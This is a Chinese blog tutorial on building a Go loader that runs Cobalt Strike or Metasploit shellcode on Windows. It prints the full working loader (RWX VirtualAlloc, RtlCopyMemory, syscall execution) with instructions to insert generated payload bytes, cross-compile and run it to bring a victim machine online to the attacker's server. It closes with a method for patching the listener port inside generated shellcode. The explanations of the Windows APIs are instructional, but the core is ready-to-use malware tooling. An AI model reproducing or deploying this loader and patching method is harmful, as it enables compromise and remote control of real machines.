前言:学习心得,大佬勿喷
看完本文你会了解到:
1、cs中的shellcode是做什么的?
2、用类似于cs、msf生成的shellcode的加载器是什么样的?
3、windows api是什么?
4、怎样从msf及cs生成的shellcode里直接修改监听ip和监听端口?
准备工作
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。我们经常在CS里面生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。
使用cs生成一个c的payload
这个文件里面就是一段shllcode。
接下来我们从编写shellcode加载器开始到运行上线CS来分析一下这个shellcode做了什么。
0x01 shellcode加载器介绍及cs上线操作
要想运行shellcode并上线机器的话,最常见的办法就是编写shellcode加载器,那么什么是shellcode加载器呢?
我们知道在计算机中无论什么程序到最后都会转换成二进制代码让CPU去运行,而CPU是负责运算和处理的,内存是交换数据的,没有内存,CPU就没法接收到数据。内存是计算机与CPU进行沟通的桥梁。计算机中所有程序的运行都是在内存中进行的。
所以shellcode加载器就是为shellcode申请一段内存然后把shellcode加载到内存中让机器执行这段shellcode,也就是说这个加载器就是个让shellcode运行起来的东西(这不是废话么)。下面我复制粘贴了段go语言的shellcode的加载器,我们可以用这歌加载器来上线windows机器。
package main
import (
_"io/ioutil"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll") //调用kernel32.dll
ntdll = syscall.MustLoadDLL("ntdll.dll") //调用ntdll.dll
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") //使用kernel32.dll调用ViretualAlloc函数
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") //使用ntdll调用RtCopyMemory函数
shellcode_buf = []byte{
// 你的shellcode,0x3f, 0x2e...格式的
}
)
func checkErr(err error) {
if err != nil { //如果内存调用出现错误,可以报出
if err.Error() != "The operation completed successfully." { //如果调用dll系统发出警告,但是程序运行成功,则不进行警报
println(err.Error()) //报出具体错误
os.Exit(1)
}
}
}
func main() {
shellcode := shellcode_buf
//调用VirtualAlloc为shellcode申请一块内存
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
//调用RtlCopyMemory来将shellcode加载进内存当中
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
//syscall来运行shellcode
syscall.Syscall(addr, 0, 0, 0, 0)
}
在shellcode_buf里面放好前面cs生成的c的payload时后来编译运行。
windows机器上正常编译,MacOS与linux机器或者其他操作系统上运行下面这段代码来编译。
CGO_ENABLED=0 GOOS=windows go build main.go
这行自行脑补一张win10打开main.exe的图片。
成功上线,这就是我们上线机器的过程,接下来我们来一步步的去分析这个过程事如何实现的
0x02 shellcode加载器所用数据类型及 Windows API 函数大致介绍
[ + ] VirtualAlloc
VirtualAlloc 是 Windows API 函数。该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。简单点的意思就是申请内存空间。包含在 Windows 系统文件 Kernel32.dll 中。使用详情:https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
调用VirtualAlloc的话需要有四个参数,如文档中提到的lpAddress、dwSize、flAllocationType、flProtect,其中每个参数的介绍如下:
lpAddress:内存指针,规定开始的地方。
dwSize:要用内存的大小。
flAllocationType*:内存类型,规定要怎么去用这块内存
flProtect:内存属性
[ + ] RtlMoveMemory
RtlCopyMemory是 Windows API 函数。该函数可以从指定内存中复制内存至另一内存里。简称:复制内存。它包含在 Ntdll.dll 中
调用 RtlMoveMemory 的话需要三个参数,如文档中提到的Destination、Source、Length,其中每个参数的介绍如下:
Destination:指向要复制字节的目标内存块的指针。
Source:指向要复制字节的源内存块的指针。
Length:从源复制到目标中的字节数。
[ + ] uintptr*
整型,可以足够保存指针的值得范围
[ + ] syscall*
系统调用。syscall包包含一个指向底层操作系统原语的接口,它接收4个参数,其中trap为中断信号,a1,a2,a3为底层调用函数对应的参数。具体用法为:
syscall.Syscall(trap, a1, a2, a3 uintptr)
其中用不到的补0就行。
[ + ] golang调用windows api
参考文章:https://www.jianshu.com/p/8e454a012cdc。关键词:golang调用windows api(这里主要针对go语言,师傅们可以尝试去写一个其他语言的shellcode加载器,原理都是调用windows api)。
0x03 shellcode加载器代码分析
加载器加载shellcode就是用go调用windows api然后操作内存来实现的。
1. 从入口函数main起看,首先是声明一个shellcode变量并赋值。
shellcode := shellcode_buf
2. 接下来用VirtualAlloc为shellcode申请了一段内存空间。
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
在这行代码中,我们用go语言调用了windpws api中的VirtualAlloc函数,它在 Windows 系统文件 Kernel32.dll 中(0x02开头有官方的函数用法介绍),因此我们在开头有几行代码是调用dll中的函数的
继续来看VirtualAlloc函数,这里面有四个参数分别是:
addrlpAddress <== 0 // 内存指针,规定开始的地方。
dwSize <== uintptr(len(shellcode)) // 内存分配的大小,必须得是uintptr型
flAllocationType <== MEM_COMMIT|MEM_RESERVE // 内存类型,规定要怎么去用这块内存,具体见下表
flProtect <== PAGE_EXECUTE_READWRITE // 内存属性,具体见下下表
MEM_COMMIT|MEM_RESERVE
| 可能的数值 | 含义 |
| ---------------------- | ------------------------------------------------------------ |
| MEM_COMMIT 0x1000 | 为指定地址空间提交物理内存。这个函数初始化内在为零试图提交已提交的内存页不会导致函数失败。这意味着您可以在不确定当前页的当前提交状态的情况下提交一系列页面。如果尚未保留内存页,则设置此值会导致函数同时保留并提交内存页。 |
| MEM_RESERVE 0x2000 | 保留指定地址空间,不分配物理内存。这样可以阻止其他内存分配函数malloc和LocalAlloc等再使用已保留的内存范围,直到它被被释放。当使用上面的VirtualAlloc函数保留了一段地址空间后,接下还你还可以继续多次调用同样的函数提交这段地址空间中的不同页面。 |
PAGE_EXECUTE_READWRITE
| PAGE_EXECUTE_READWRITE 0x40 | 区域可以执行代码,应用程序可以读写该区域。 |
| --------------------------- | ------------------------------------------ |
3. 然后调用RtlCopyMemory函数来将shellcode加载进内存当中
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
RtlCopyMemory函数对应的三个参数分别是
Destination <== addr变量,指向要复制字节的目标内存块的指针。
Source <== (uintptr)(unsafe.Pointer(&shellcode[0])),指向要复制字节的源内存块的指针。
Length <== uintptr(len(shellcode)) 从源复制到目标中的字节数。
4. 最后使用syscall来执行shellcode
syscall.Syscall(addr, 0, 0, 0, 0) // 用不到的就补0
到这里一个基本的shellcode加载器就实现了,总而言之就是:
申请内存-->把shellcode加载到内存-->让这段内存里的东西运行起来
0x04 从shellcode里直接修改上线IP与端口
一、前奏小知识
1. 端口为什么会是65535个?
在TCP、UDP协议的开头,会分别有16位来存储源端口号和目标端口号,所以端口个数是216-1=65535个。简单来讲端口就是从十六进制的0000-FFFF
2. 内存地址是从低地址到高地址记录的
例如
一个内存单元比如0x000001可以存放一个字节,比如把55555转换成十六进制就是D903:
而一个字节就是D9或者03,在D903中,因为字在寄存器中是这样储存的
所以D9属于高位,03属于低位,如果要放在内存里面从0x000001开始的话就是0X000001放着03,0x000002放着D9
二、修改上线IP与端口
假如你生成的端口为5555,把它转换为十六进制就是D903,我们反过来搜03D9就可以了(根据生成shellcode的格式自行搜索,或者只搜索一个D9,然后看它前面的是不是03,如果是的话就说明这俩个字节就是我们的上线端口),这样就确定了监听端口的位置。
接下来把要替换的端口号转换成十六进制
然后再倒序修改shellcode里面监听的端口号的位置
好了,这样就修改成功了,放到加载器去上线吧,修改监听IP,留给大家思考。
求走过路过的大佬的一个小赞